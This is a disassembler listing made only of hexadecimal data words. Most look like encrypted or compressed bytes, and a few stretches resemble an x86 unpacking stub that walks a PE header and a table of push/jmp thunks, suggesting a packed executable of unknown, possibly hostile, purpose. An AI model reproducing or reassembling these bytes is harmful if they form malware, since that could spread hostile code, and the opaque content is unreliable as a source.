		dd 0BBA63955h, 13B982CAh, 0B74B2A84h, 0E49F82BAh, 0ABA57C8Fh
		dd 8E852E3Fh, 0B233B0F1h, 8B3C78D6h, 6B547624h,	0F95836A1h
		dd 907C6FCDh, 7F04391Bh, 12924A3Fh, 0B8389E1Fh,	33D468FFh
		dd 0F0462754h, 0EDE88B25h, 9590138Fh, 811E56E4h, 2D167C6Fh
		dd 0CFA6F86Fh, 1B82BAC3h, 6CEDF88Fh, 0D9DC67F9h, 0AD56EABBh
		dd 139000D6h, 0FB787D07h, 3E883C8Ah, 0B7807624h, 58EE8215h
		dd 0E4CED0B9h, 0F8C853Ch, 0FC99317Eh, 6F88C3A2h, 207E177Ch
		dd 7C6F8368h, 704B4473h, 2454D794h, 2DAAAD48h, 433035BFh
		dd 9E32A522h, 6B4CEA15h, 10EAD068h, 1EA5F193h, 19226A1Bh
		dd 0BF8AE473h, 0E82BB22h, 0EB8EA95h, 0ED7FD56Dh, 0CAE64C45h
		dd 0D0C9DCADh, 2C8BBACh, 6E6CC229h, 7624A226h, 9C316A2Dh
		dd 4DA0D84Eh, 6BD08A20h, 0E144C63Dh, 151CDDh, 47870000h
		dd 76244FFDh, 0A201752Eh, 886E3837h, 0C9422h, 80F30000h
		dd 0EA4047ECh, 244CA8ECh, 0E9802B76h, 2432D395h, 3086E176h
		dd 2EB9635Ch, 6F75ED50h, 413E797Ch, 0FF96340Fh,	0B77AD2AFh
		dd 2E911E82h, 12A21A99h, 0A972E09Fh, 63000000h,	0F1ADCFC2h
		dd 7E2A7673h, 29EFAE9h,	910D6F62h, 6F741415h, 0BFB23E06h
		dd 223FC1DDh, 0A8AF4A46h, 5057DCC8h, 0B20CA330h, 7C6F78F6h
		dd 0B9AB7CC2h, 0B249DC7Eh, 379F921Eh, 6F75B499h, 0BE3BD57Ch
		dd 186713BBh, 29851C6Bh, 7C6F746Fh, 0C09C327Dh,	0ECC255F7h
		dd 82B78C25h, 0E6872641h, 0D012A20Ch, 42AF5Fh, 29C80000h
		dd 0D45E4A56h, 40E7B3D1h, 0CB6B2745h, 72FEAAF6h, 0A1F61D7Fh
		dd 7C1C1D99h, 0E1839E20h, 6B0908B5h, 0D3B1B43Fh, 57116D00h
		dd 657C6F79h, 0D6740C3h, 0FC000000h, 3D912841h,	7624327Bh
		dd 0FF882E49h, 94E5FC85h, 0B787F04h, 8CFDFC79h,	0E7F6AFCh
		dd 82F3F672h, 6774AF6h,	86F7CA6Ah, 397655EAh, 0BFCCC96Bh
		dd 0E28952B9h, 4C281h, 0BD550000h, 4, 875DEA29h, 685C2414h
		dd 3F5h, 56240C89h, 0C681E689h,	4, 8704EE83h, 895C2434h
		dd 68532404h, 6F284308h, 7EBC15Bh, 8143DBF7h, 0A9625F3h
		dd 5BD989FFh, 5E18E981h, 0F18134CBh, 0CD14986Dh, 24048B54h
		dd 4C481h, 89520000h, 8BB53CAh,	1000000h, 5B1389C3h, 2434FF5Ah
		dd 4C48158h, 0FF000000h, 81592434h, 4C4h, 363BE900h, 5EA9FFFDh
		dd 77E4C385h, 0B34292A8h, 2E9134D1h, 47B4B82Fh,	0C503064Bh
		dd 51E9C88Bh, 60000000h, 2424748Bh, 8B3C7603h, 8B28247Ch
		dd 0F8C281D6h, 66000000h, 0F064E8Bh, 0F983C9B7h, 16840F00h
		dd 3B000000h, 8F0F0C7Ah, 15h, 8B28EA83h, 4A8B0C42h, 2BC12B14h
		dd 247C89F8h, 8C2611Ch,	28C28300h, 0CF850F49h, 0E9FFFFFFh
		dd 0FFFFFFE9h, 9FD3EBAh, 0D9E900h, 1D200000h, 0C12C0FBEh
		dd 0CFDF2F82h, 54FDBEB6h, 0A436365Dh, 0D500BCECh, 0D352C55Dh
		dd 94A4D676h, 0C44100FCh, 0CB50C1AEh, 0AC325277h, 0B8009CACh
		dd 64F7F691h, 389382CDh, 3C000000h, 40000000h, 94000000h
		dd 5000000h, 1000000h, 28000000h, 200000Ah, 20h	dup(0)
		dd 1000000h, 0E92D9903h, 2005h,	4B4B9968h, 34DBE906h, 9468FFFDh
		dd 0E9064B4Ch, 0FFFD34D1h, 4B4DA268h, 34C7E906h, 9368FFFDh
		dd 0E9064B4Eh, 0FFFD34BDh, 4B4F6A68h, 34B3E906h, 2E68FFFDh
		dd 0E9064B50h, 0FFFD34A9h, 4B50FE68h, 349FE906h, 0E068FFFDh
		dd 0E9064B51h, 0FFFD3495h, 4B55A068h, 348BE906h, 1168FFFDh
		dd 0E9064B56h, 0FFFD3481h, 4B575F68h, 3477E906h, 5A68FFFDh
		dd 0E9064B5Ah, 0FFFD346Dh, 4B5D9E68h, 3463E906h, 0D368FFFDh
		dd 0E9064B60h, 0FFFD3459h, 4B626D68h, 344FE906h, 0D768FFFDh
		dd 0E9064B62h, 0FFFD3445h, 4B634168h, 343BE906h, 0B368FFFDh
		dd 0E9064B63h, 0FFFD3431h, 4B64CF68h, 3427E906h, 0F668FFFDh
		dd 0E9064B65h, 0FFFD341Dh, 4B671568h, 3413E906h, 5DE4FFFDh
		dd 0C86A2642h, 6CF3AFCDh, 0FF871371h, 6E0A86E2h, 8DEA096Bh
		dd 680809B5h, 0DDBFAA3Ch, 472524C1h, 0CFADA84Bh, 6B2D8114h
		dd 797C6F7Ch, 0AD32CEE7h, 0AA0C1BEh, 0FBFE8579h, 0C461FB8Ah
		dd 6AD6DC5h, 9C306103h,	0E5B91110h, 0C9A530DAh,	7C6C4524h
		dd 78D6A7C0h, 7C6C453Ch, 7E0B8017h, 0DCD55D27h,	88B5CEAFh
		dd 0F8F258E5h, 0A0FE2503h, 2824DBA9h, 7F000000h, 49DC7EB9h
		dd 9A891EB2h, 0C36B660Eh, 6C400495h, 0A6D7D07Ch, 6C404C08h
		dd 944B077Ch, 0A9034BB0h, 0E491DBh, 850A0000h, 0FB8AFBFEh
		dd 6BC3DE61h, 17FA03AFh, 0C2935DEBh, 0ACECC255h, 38762507h
		dd 0F381FE7Fh, 71047570h, 0F65C49DFh, 0FE9A991Ah, 250C6760h
		dd 95901376h, 0ABE59EF7h, 9EBBC95Ch, 1C099F0Dh,	0E8A80E6Fh
		dd 513F4C4Bh, 7E025066h, 2ADC9A36h, 9A33AADh, 96C46A77h
		dd 7C6D1787h, 0A09AA46h, 96B14A4h, 61F496A1h, 408B36CAh
		dd 4790A764h, 0B2189937h, 0B737C424h, 971082h, 9718618Bh
		dd 0B51D67CBh, 0B2A04CE0h, 0D4B43530h, 822E3CB8h, 0A0BF0E8Fh
		dd 0A612A338h, 1D2679E9h, 951C0000h, 0A2FE9Ah, 942B6705h
		dd 37BFEB89h, 0A6425E3Ah, 0D5A2C1A3h, 204041EDh, 95F7D274h
		dd 1F7D7CF9h, 87E5E083h, 0A3E5B9CCh, 317C6F7Dh,	0F985F4AFh
		dd 670C98F8h, 60F0ED73h, 0F3B0C1C0h, 0ED7F1672h, 7E3F4C45h
		dd 0EC80CFD8h, 14E84E41h, 0FFF2722Bh, 0F560E18Eh, 6C401099h
		dd 0CCA2397Ch, 7C6C3F8Ch, 0FBF75F58h, 357FCFBCh, 1C7C6C40h
		dd 9B32FDA2h, 6C3F85C3h, 0FE54537Ch, 0A90335EEh, 0C9EFDBh
		dd 85340000h, 0FE8AFBFEh, 0B00E7F72h, 76243737h, 0A7C5C063h
		dd 0DECD52EEh, 5550D3A1h, 70C64724h, 770403A0h,	0E97C1E19h
		dd 6C608895h, 0BF405C7Ch, 46D2D3A0h, 0D4D5A2A1h, 5A653557h
		dd 0F28E25B0h, 0FDDB7376h, 82B7010Ah, 2FC6515Eh, 0A53A8F7Ah
		dd 0B41ACBCAh, 0CE5958E4h, 23B1AC32h, 0B5F28386h, 95118D1Dh
		dd 0FE6C2C82h, 3F787626h, 9C060FBEh, 4FC012A2h,	1C2BDFh
		dd 91901100h, 181DA7F3h, 8C9B2C78h, 3130B0ECh, 0A6BB4753h
		dd 0E0D8B9DAh, 6B274544h, 0FCA8C8D5h, 86127E71h, 0C99AE6FDh
		dd 7EA0D8B6h, 9A2C7C6Fh, 0F8F98509h, 5451D36Dh,	0D0F04627h
		dd 14542AC1h, 0A0762433h, 32BBFDD1h, 6E097624h,	2AC949E1h
		dd 85A64D2Fh, 1C20FFEh,	0ED13DBF6h, 0EB2ECD98h,	6AEB5ED9h
		dd 0E1E48F1Dh, 0C6DE4B83h, 0ADA44CFDh, 9C27B92Ch, 0CD643199h
		dd 0C0B1AC33h, 4D0BA3h,	247C6C7Ch, 0AE30CC5Bh, 868321B3h
		dd 0FA461030h, 0EA38FAD7h, 59C0BD1h, 0EA8AEFA9h, 1CB2FD30h
		dd 99342579h, 0AE453732h, 0B28898D0h, 0A5AF2432h, 0CEDD36Bh
		dd 0D8D87EFFh, 8B448DFh, 88C09E09h, 5432B2BDh, 98F4832Bh
		dd 0D36AFD9Fh, 447030DEh, 31A38A21h, 0BC1AB0B1h, 38FA79B2h
		dd 79E0976h, 0BDCACF75h, 39BA56FCh, 0BB167DCEh,	0FE7F2D6Dh
		dd 126C0392h, 30EA9C56h, 0EDAD0562h, 0D1D05046h, 0FB42C3A0h
		dd 57DEFE40h, 1D09B976h, 2700001Bh, 0B5E1839Eh,	326E0A0Fh
		dd 0C6D2BEADh, 5541233Eh, 0ABC8A8A9h, 7376F2CAh, 0E6E38511h
		dd 6C630E9Ah, 1413900Ch, 0F6C8DF74h, 7C6F7FB2h,	85FFA83Eh
		dd 0FB8AFBFEh, 6CC2DF61h, 72E5A790h, 6C4E411Ch,	6BFA857Ch
		dd 0BDBC38D4h, 0B9FFAFCCh, 77C6C4Dh, 86B6D278h,	4C6F115h
		dd 7075FF91h, 49CC6203h, 0B45E2875h, 0D1337C82h, 8E812CC0h
		dd 0EFC7B0F1h, 0D60705C3h, 0A86371D9h, 0D53DD653h, 0F736C1DCh
		dd 0CD654063h, 3C924671h, 3DD5897Ch, 23653948h,	0B13DD58Ah
		dd 5DC849F6h, 1D991801h, 780FA144h, 379F1C6Dh, 0D769FCBBh
		dd 0F281292Ch, 6CFBA19Ah, 0A24452D0h, 59026A7h,	65C4A5A9h
		dd 0B124433Eh, 9365941Fh, 0C586A16Ch, 2FBB9DB2h, 0DDEE0B5Ah
		dd 0CE653C5Ch, 0D5DCB8F0h, 5B5EE43Dh, 703F4D2Ah, 0BEB53EDAh
		dd 0F3BDF20Fh, 0AB5BD44Ah, 1A2Ch, 0F0906F16h, 791B1EA4h
		dd 0ED8F9A2Dh, 503031B1h, 0DBB9B844h, 47E3DBB8h, 0D46A2642h
		dd 72FFABC9h, 0E2811D7Fh, 0B7CE85E7h, 6F80A1E7h, 0E992F7Ch
		dd 8AFBFE85h, 0C453F9C2h, 6C3BAFEAh, 1C7C3B7Ch,	0C85F7EDCh
		dd 6C3BB2F6h, 6F853E7Ch, 83C98508h, 58349A1Bh, 542ABD5Fh
		dd 82B45709h, 487CA65Dh, 0EC4CDCB8h, 9ABF5E9Bh,	33B08330h
		dd 8F07D1h, 3A0512CDh, 356E0590h, 0F14B262Dh, 6A47070Ah
		dd 6E0A5E6Dh, 1E0B49E1h, 4A1914CFh, 47705C2Dh, 0B991285h
		dd 1B82296Eh, 5529EC42h, 174CE7C9h, 4D0B63FAh, 7B12CC77h
		dd 0EE89FBFEh, 0D84F2848h, 0A07AF41h, 0FA963C7Dh, 871E7A79h
		dd 0DA594FF5h, 40C1AEDFh, 0FE5453D0h, 2B929112h, 75FD23FCh
		dd 55D5453Ah, 0EF000019h, 7D294B46h, 0FA96F2F7h, 8E1A6665h
		dd 1D89EBE6h, 0D3F09091h, 3B3EBA82h, 0AEBB4D59h, 542BD6C2h
		dd 0DCDB5834h, 3E9027BCh, 7C6F817Ah, 8027E046h,	0E813CC0Bh
		dd 9D327406h, 0D35A2F5Eh, 36601527h, 0A14F4273h, 0DA593991h
		dd 0D5EEAEDFh, 7709A037h, 0FABBC8CDh, 550B0654h, 38477C6Dh
		dd 1EB61058h, 59F06725h, 84907020h, 0F662C262h,	0F2E0764Dh
		dd 82B517ABh, 6D2B831Ah, 7B76250Ch, 9D1A963Ch, 0C18DE17Fh
		dd 3C077367h, 0C2B7079Eh, 2E79AEAFh, 635C3041h,	0CE502EB9h
		dd 1A7776CBh, 64910A9Dh, 0AB0A90D6h, 0FA174DAh,	92036164h
		dd 29E10B19h, 0BC1232D2h, 0ED5057DCh, 15630330h, 91198906h
		dd 0AB000018h, 3955370Ah, 0C6D2BEBBh, 4A462221h, 0D9B5D7AAh
		dd 173C5C5Dh, 0E7FA86BEh, 6A770985h, 1017920Eh,	989F2470h
		dd 7A546BF8h, 7C6F833Eh, 8553348Ah, 0C28AFBFEh,	0EAC453F9h
		dd 7C6C5B7Fh, 0ECEC8CEBh, 0FE9CA73Fh, 6B461767h, 56282B4h
		dd 51EC69E7h, 69D09EDh,	2591F6Fh, 186709EDh, 0ED030E4Ah
		dd 39CEDA09h, 643AAD2Ah, 9ED0324h, 8F5FF7B0h, 0E2D3E2B4h
		dd 0E7EDAB03h, 0BCFB09ECh, 91984FCBh, 32F0A806h, 0B3FC09ECh
		dd 5ECBA332h, 8A103441h, 40E5A3FBh, 0B4F30BA4h,	2D164637h
		dd 0CA61F86Fh, 0C5B29136h, 40B2F6A4h, 713E0BA4h, 7973FBD9h
		dd 0CAB511ECh, 0D322C15Bh, 25E45ED0h, 5A26A75Dh, 1FAEA54Eh
		dd 7EDD2CC4h, 0C19D0D82h, 7B000017h, 985E7FAh, 96026E6Bh
		dd 1A7612F1h, 0A9E5879Ah, 476C0C0Dh, 0D7AA566Eh, 5A47D9B5h
		dd 0C0C7623Eh, 484FF4A0h, 4A24BB28h, 7C6F830Eh,	858304DAh
		dd 0C28AFBFEh, 0A5A440F9h, 89DDB124h, 3A7C6F7Bh, 7A8DCBA3h
		dd 25BB7C6Fh, 872F4838h, 82198CEBh, 0E54D58EEh,	0E98B8E35h
		dd 0B4D21B8h, 397C6F7Bh, 0AACBB8B9h, 5B79D1DEh,	7C6F7BADh
		dd 0DF69A5DEh, 0BECFCA68h, 0DCA084F1h, 6328A20h, 3C752C4Ch
		dd 60AC5D88h
		dd 4ECA60F3h, 3237BDA5h, 0BC87D7B5h, 53F5871Eh,	745F4082h
		dd 71FEE9EEh, 0EE4441E3h, 29FF5727h, 5D2982BBh,	0C5A2D3D6h
		dd 193C7C52h, 0EF887625h, 0CC60F76Eh, 9892120h,	0D36E9A6Bh
		dd 601C608Ah, 0ADDF99F5h, 82ED7624h, 892B6705h,	6ADFF8Ch
		dd 0ED4DBC03h, 0B46B12A4h, 16DF06h, 0C5DC6500h,	4C49EBA7h
		dd 0F0EF702Ch, 657C0490h, 0EAEF8B07h, 340C658Eh, 0BFEB8988h
		dd 405C3C29h, 0CAC6A2A5h, 954E2A29h, 83ECAC02h,	66F87C6Fh
		dd 95E980BDh, 762432D3h, 15627F01h, 339BE494h, 2BBA605Bh
		dd 0AB6B2876h, 0C67F0815h, 0FABE108Eh, 0C676243Bh, 39238B9h
		dd 6F84DBABh, 0F3620D7Ch, 0BDDFDA59h, 0B225DFDDh, 0E6E3811Bh
		dd 74520250h, 0F9867C6Fh, 5251D26Eh, 0A8AD5725h, 0F55DDADBh
		dd 742D68C6h, 0B4267C6Fh, 532AD1F7h, 56F0DBAAh,	2B000000h
		dd 4ED97BB9h, 413E2DB2h, 302FB020h, 0E9A3FB9Ah,	0FF762432h
		dd 3173C3B0h, 18762433h, 2CD7F1AEh, 0F6DDE112h,	2Dh, 0BDBB4DDFh
		dd 214E3F2Ah, 0DF8FD7A0h, 0F9DAE7A5h, 0FE473651h, 16762432h
		dd 0A6F86F2Dh, 7C6C3ADBh, 0A398B9F2h, 0A55323DCh, 66026D0Dh
		dd 0DC7EB9DDh, 6BF9B249h, 0A09189C5h, 0DCDDFB53h, 687C6D52h
		dd 81227E0Fh, 9AAE682h,	832F7D0Ah, 0FAF18Eh, 78F8945Bh
		dd 0A241D179h, 2AC9C5A7h, 457E5E2Fh, 0F77C1087h, 24BB5AF0h
		dd 9BE8F788h, 0EB26B41Ah, 0E782B52Bh, 0CD940D98h, 81DEBB9h
		dd 2A7B07AFh, 0C27D3B93h, 2C4B7624h, 6A690A86h,	6A2A4D1Dh
		dd 5047EE5Bh, 492536BCh, 0EE5A6A0Fh, 2455D2DDh,	2928D547h
		dd 0C810CF81h, 504C2C2Bh, 0D0A7D4D3h, 1BB3B63Ch, 8DFAF77Fh
		dd 4993480Ah, 0D1CDAFAAh, 76265752h, 46188F4Dh,	0F4A2758Bh
		dd 4502E9A2h, 275455D1h, 56FF2D46h, 235057D2h, 4D6DC542h
		dd 0C5B2AF31h, 89360BB7h, 0B73C6808h, 2FB1C3B0h, 0B20CA332h
		dd 0F4A273F6h, 74115727h, 0D0DFF4A2h, 406FC7A0h, 0C9A5AE30h
		dd 0F4A2738Fh, 0A4D5525Dh, 0BF4432D4h, 174A3BB8h, 0AB3CE45Bh
		dd 21AECFBCh, 0A14B30EAh, 29650702h, 9EFE8F8Ah,	1E70E7A5h
		dd 0FAEA880Bh, 0DCC8A8D7h, 93235057h, 0FE5A87D1h, 17646107h
		dd 96E7E285h, 479C430Fh, 2DF7B426h, 0B0E18386h,	87B871FBh
		dd 5B083CECh, 0B186DA1h, 2E25CEAAh, 7BD35051h, 881F129Fh
		dd 74964013h, 0B81E31CEh, 0F9D56C3Bh, 0DE5A98BFh, 4CCC620Dh
		dd 0CAD0A1A0h, 7E3A942Bh, 4ADE5A98h, 14CB852Dh,	422E21CCh
		dd 0ECC2AB56h, 0DE5A98ACh, 0C0C76C38h, 2CC83643h, 0B85628ECh
		dd 0B63E4A3Bh, 2BE7CABBh, 0E01AC74h, 0B48B3662h, 0ECAE89C7h
		dd 0CC8CE279h, 18DE5A74h, 5E379Fh, 0E4A29E89h, 3ADDAAD5h
		dd 2829C963h, 36D6AE5Bh, 0F6ADF6E2h, 30EFE149h,	2E4A4DE8h
		dd 9806F172h, 23DDDC58h, 622678EFh, 6EE4A2A6h, 0A1F38001h
		dd 0FC900702h, 54146A6Bh, 60E4A2A6h, 7CE98607h,	0C3834275h
		dd 2E8405BCh, 7471F381h, 0F4CD7507h, 0DA9EF087h, 0E6E4A30Dh
		dd 0D3882299h, 752A841Ah, 630104AFh, 9FD550CBh,	4F8AB3h
		dd 80110000h, 0E74F5AECh, 0E49D8E2Bh, 314CCA28h, 0A5E3B353h
		dd 33762477h, 9B8D5D80h, 1F9C5D4Ch, 94AFE19Eh, 9A0F5FF6h
		dd 237C6C73h, 7076328Ch, 0D1427C6Ch, 0B19F3559h, 1CB2334Bh
		dd 0C771139Ch, 28h, 0F08AF5AEh,	17A9C4AEh, 0BD15926Fh
		dd 0F9F8852Ah, 0A5FBC488h, 0C5D690A2h, 686F140Bh, 0A3FB6AEBh
		dd 7C6CE78Ah, 9033515Eh, 675074D9h, 115C32A5h, 557C6C43h
		dd 0CDBAA739h, 24B82FACh, 122E8483h, 1F590444h,	69330C71h
		dd 0FED067FEh, 691F4ABAh, 83D17906h, 6F675996h,	0F8D4A5C2h
		dd 9E790EBFh, 0F49EBB5Ah, 677F4B0h, 116DF879h, 7120520Dh
		dd 0B749DCDBh, 3A6B090Ch, 72031EA6h, 76FD9D35h,	8903CC73h
		dd 4AC51FA9h, 131FDCh, 859C2500h, 0C09ABE7h, 0B0AF306Ch
		dd 253CC4D0h, 0AAAF4B47h, 0F4CCA5CEh, 7F2B4948h, 9CFCE9h
		dd 8A066265h, 0D58EEAE9h, 87ACECC2h, 0A6387C6Fh, 95E980FDh
		dd 762432D3h, 0A23086E1h, 762433E6h, 0E077152Eh, 6C4C538Eh
		dd 8BE37A7Ch, 7C6C4BCDh, 0BA369C1Bh, 2BD66AFDh,	0DD583454h
		dd 31B14BDAh, 8F1D9A30h, 675EE1E4h, 610C5D4Fh, 12AE30AEh
		dd 0ED940000h, 981A7612h, 1CA3FF9Dh, 8F376301h,	3EBAD6B2h
		dd 5D3A593Bh, 0B8D8D965h, 2D4F5AECh, 97F5F471h,	1F7D78FBh
		dd 1B5D3144h, 0A97C6F89h, 7EB98C17h, 0A12E23CFh, 4BA95836h
		dd 5A257C6Ch, 0A77F34CBh, 7CA4CD0Bh, 60028E24h,	4D5D1B73h
		dd 1F6B7C6Ch, 9F1C9D88h, 6B08A4FDh, 7C6BFC6Ch, 0AEB83AD6h
		dd 317E0F02h, 32B1C3B0h, 7A0CA037h, 2DA8C76Fh, 882AFEADh
		dd 53EFEF8Dh, 2CCC86B3h, 0C880DE75h, 147C6C4Dh,	0E6A2FC6Bh
		dd 0F27C6C4Dh, 0F77D1DB5h, 0F2CC63F2h, 7C6C4DB6h, 0AECD6502h
		dd 0C3BFA2D7h, 0F437E5F5h, 66077453h, 0CACF6BF9h, 932F7664h
		dd 0D85B7C6Ch, 51DCACDDh, 0D753215Eh, 0EC536FD2h, 3BE0D257h
		dd 0DF7673F1h, 0DFACA54Dh, 3C6878DEh, 8AC2B3B6h, 227CEBB1h
		dd 82B7DB40h, 0C158CFA8h, 5B14542Ah, 0C7A07627h, 500A36Fh
		dd 79882B67h, 0E1FC25B8h, 1562E367h, 4BDA80BBh,	72ABE273h
		dd 623CD37Ch, 7C6CAB26h, 4540E6B2h, 60F67734h, 0CBC05750h
		dd 4FF7E4E4h, 0F1900172h, 841BFA50h, 3B4857E8h,	0BF44D47Ah
		dd 27CCD8B8h, 9B1BB520h, 2288E986h, 5A003B95h, 952F3CBh
		dd 0D9A682B5h, 0A4D27566h, 5ECC4312h, 1160h, 24445BDAh
		dd 0ADCFCA68h, 11736EF1h, 84E4FD85h, 0F6D6C08h,	0BB78FE4h
		dd 0A83E6A36h, 26C3DFBDh, 0AE554123h, 831AC9ABh, 6F896D2Bh
		dd 22E57B7Ch, 0D395E980h, 0E1762432h, 0EFA23086h, 1B762432h
		dd 0FAE8889Eh, 6D0A7B7Eh, 911E9FECh, 39C86A06h,	0B3A08194h
		dd 0C7B435A9h, 195F2FA6h, 0A7762521h, 65672D8h,	0B6089F3Dh
		dd 7C7069A7h, 0F8B12443h, 0C2DA919Eh, 2540F641h, 0D07F1074h
		dd 861AFB53h, 0FD86E2E1h, 611A8279h, 17058DAh, 9A310000h
		dd 8797C06h, 327D3B6Bh,	2C4B76A4h, 79B9FD86h, 0AC83882Fh
		dd 82036CC1h, 0AFB7913h, 0A3157ADFh, 0D7A425CDh, 806700D6h
		dd 2432672Eh, 9D257576h, 9B6F784h, 5B1B806Ch, 0E980C7E0h
		dd 2432D395h, 3086E176h, 0DDA6645Ch, 7CB9C358h,	37BD4FC6h
		dd 1847DCC6h, 63E0A5E0h, 0AA3D9512h, 0A5E79CF5h, 1D0AD359h
		dd 795374DAh, 0D8E11A92h, 3748h, 0DA682100h, 0F4ED1E76h
		dd 0B94C57FFh, 0B5F3CB7Fh, 3762432h, 8082E764h,	2432672Eh
		dd 7AFA9676h, 0C4A3CF67h, 3D28BF51h, 1B80F295h,	82E7E285h
		dd 3D676FF4h, 0FC000000h, 4140EC80h, 3DB7330h, 68049339h
		dd 0C583DBCCh, 13762432h, 24BF1794h, 32672E80h,	36757624h
		dd 40EC806Dh, 55D2D152h, 26EF4724h, 0E7E2857Dh,	2B0B8082h
		dd 27D490Bh, 0B95AE74Fh, 0E11A9279h, 748801D8h,	792780FDh
		dd 41CD11B9h, 56000000h, 2FD57CB9h, 3B36BE2Ah, 2E80D9BAh
		dd 76243267h, 80533473h, 0FAFF851Bh, 39DF499h, 98F6617Ch
		dd 762432E0h, 982B83ECh, 48B10B80h, 39BBA7C7h, 31E391h
		dd 19920000h, 23A18193h, 7A0DA578h, 29D57CB9h, 3C3BB828h
		dd 0C4A12E4Fh, 32672E80h, 36757624h, 801B806Dh,	32D395E9h
		dd 86E17624h, 0C7C26030h, 806FF4A2h, 0FA85BE0Bh, 0F45A038Ah
		dd 0FFFE87C6h, 7EB95DFFh, 0BB749DCh, 0E691D2C2h, 0B734F8B4h
		dd 8411B9C6h, 701A5C2Ah, 74E38C7Ch, 0A34F5BD8h,	0FDB621AEh
		dd 0C06C246Dh
		dd 86F3B0C1h, 0BE14ABD4h, 0D46E4A22h, 9BF1AA41h, 0C484D95Dh
		dd 0A8E0EE44h, 347C7005h, 0EEAC3A4Bh, 657C7005h, 0A3687932h
		dd 0F6EFF68Ch, 97B16E60h, 0DBAABA6Ch, 0E0698AFFh, 41E2958Fh
		dd 6FE82B6Dh, 71FEB97Ch, 2175D9h, 47AE0000h, 762432FDh
		dd 0EF8D882Bh, 24333471h, 0B9635C76h, 4E55502Eh, 86E17C6Ch
		dd 9D4CFAh, 0B9CB0000h,	7549DC7Eh, 7C6C5CD8h, 38D4432Ch
		dd 0D0CA9BDh, 35B0EC8Ch, 9E324532h, 1A6D1A09h, 6C5C0444h
		dd 56D7D07Ch, 49132C80h, 9D5247DEh, 0DE63DB2Eh,	0AB8FCD65h
		dd 0F582B834h, 0E4811B8Ah, 6E0B87E5h, 89B21A6Bh, 817A54C3h
		dd 0C97C7366h, 1EA537AEh, 99F58C1Bh, 7C6CE5DFh,	9C2C82EDh
		dd 0D9646300h, 0C5CB4D8h, 658131EEh, 0DF00000Eh, 6D395B56h
		dd 0EAA6C2C7h, 7E2A7655h, 0D99FBF6h, 0E3006061h, 0B0EAA92h
		dd 0BEAB3D69h, 243BC6D2h, 0ACAB4844h, 2E8017CCh, 7C6F8C6Ah
		dd 8537D076h, 0FE8AFBFEh, 0CFDA6D75h, 52D3D65Dh, 7F9629C3h
		dd 0EEB5077Fh, 0D971FE05h, 9F31C4DAh, 1D6F1C09h, 81EE9F8Ah
		dd 4B30AA00h, 900702A1h, 0C7D74FCh, 13BBC76Fh, 0DDE180E8h
		dd 3D32h, 7EB96900h, 32B4F4CAh,	67007624h, 2A1F6FE6h, 0B67C6C41h
		dd 4BE8B8C9h, 0F3702C4Ch, 29465BE7h, 0D2BACB48h, 29FBD7E9h
		dd 0D8990839h, 0B430CC5Bh, 0FA7C4B5h, 5B152886h, 0D6D182B5h
		dd 0FF8529CAh, 52D16BFAh, 0F1592657h, 3A3FC5D1h, 32C2FD4Dh
		dd 5BE67624h, 1E33DAB0h, 68E9C2D7h, 7C079908h, 7591F6Fh
		dd 18677625h, 0F88DEA9Bh, 2A0CD0E8h, 0B814BA64h, 744ADD7Fh
		dd 7C6FAFF6h, 0BADBF2A7h, 0A9152A19h, 258D0A17h, 0E47BEA95h
		dd 3FADAC48h, 0AECFBCA9h, 0E8F78808h, 0FD871988h, 793152F8h
		dd 0DA611A82h, 64247A11h, 7076A432h, 63BF9F37h,	0E4000001h
		dd 0BEDB79B9h, 32672E80h, 0FF967624h, 2432E9AFh, 2288F776h
		dd 808EEB90h, 5BEC801Bh, 5FDCC95Fh, 2102C5F7h, 0B8DD7FB9h
		dd 7CB9C358h, 3BC3FD32h, 36B78935h, 796EF56Dh, 0D8E11A92h
		dd 54146A01h, 60792432h, 7A3E9007h, 46792432h, 2F4D9139h
		dd 0D6000000h, 0B8DD7FB9h, 5C5AEC80h, 0CEAFDCCBh, 0DB733041h
		dd 3321643Ah, 0CAB57624h, 801B80A9h, 3E4F5AECh,	0A639D971h
		dd 6FF4DEBBh, 3F67h, 7FB9FC00h,	32B5F3CBh, 72037624h, 24325C1Ch
		dd 8E0F6876h, 0B806401h, 0E7525A26h, 0C451F92Bh, 249EABEAh
		dd 11723976h, 0C3B0E980h, 63A5F1A0h, 0F1D75227h, 0E8BED81Dh
		dd 0E2852142h, 6FF482E7h, 0E11A9279h, 5C48D8h, 80D30000h
		dd 324346ECh, 585DE775h, 8E44A2Bh, 80F2972Dh, 314E41ECh
		dd 0CF89E570h, 1D762432h, 5593C92h, 76243340h, 77CEB94h
		dd 0D86CC848h, 674B1CC8h, 8D53E89Dh, 0D052E095h, 0BC8C2C66h
		dd 0EC808D16h, 30E54D44h, 0FAFF856Bh, 806FF499h, 0FA2DBE0Bh
		dd 0DC721C72h, 30DEh, 7CB93500h, 0B80BDC6h, 80E53ECFh
		dd 54D04010h, 0EF472455h, 0BA0D4826h, 24DF7624h, 0B1392CFBh
		dd 0D1B2330Eh, 0FF851B80h, 9DF499FAh, 0C9617C03h, 46EC80BEh
		dd 0DD753243h, 0FFFE8ADFh, 7EB934FFh, 217549DCh, 777C6F7Ch
		dd 60039D08h, 89B70765h, 2BC55CCBh, 0B3218994h,	7C6F7AF5h
		dd 16F58A26h, 0E0773040h, 8E426AABh, 0D37B2469h, 0A65416A4h
		dd 57037C6Fh, 6147BCE8h, 179DDBAAh, 6000000h, 4D44EC80h
		dd 0F9D77F3Ch, 762432BBh, 2D4F4AE9h, 9A93h, 7EB9F000h
		dd 32B4F4CAh, 67007624h, 41D86FE6h, 520005AFh, 76243316h
		dd 6F6DC5A2h, 7C6C3AE2h, 0E1F1720Eh, 0B7C44544h, 42DE49F6h
		dd 0D4C0A0A7h, 77595629h, 47178E4Ch, 82B782E7h,	3DCF4621h
		dd 0C7D3B1B0h, 656273Ah, 0B6089F3Dh, 7C72C435h,	0C963F2BDh
		dd 12832B36h, 92FEF57Eh, 0C7667D06h, 0C5D5DC0h,	218939F6h
		dd 1B00000Bh, 0A9E5879Ah, 36620E0Bh, 0BAD6B291h, 4945273Ah
		dd 0A7CCACADh, 774AF6CEh, 0FAE77915h, 6067029Eh, 0E8EF9400h
		dd 0EAC4DB88h, 7C6F8FAEh, 85E3A43Ah, 0FE8AFBFEh, 79017E75h
		dd 13905807h, 3FE47414h, 0E5DDE112h, 3Eh, 0DC7EB93Eh, 625C7549h
		dd 0CFA87C6Ch, 0B7C72358h, 0A0DA94EDh, 0E8778541h, 0D37BF87Fh
		dd 282FD4A4h, 0D0D75C48h, 8D2EDA3h, 7167039Dh, 0F986F7F2h
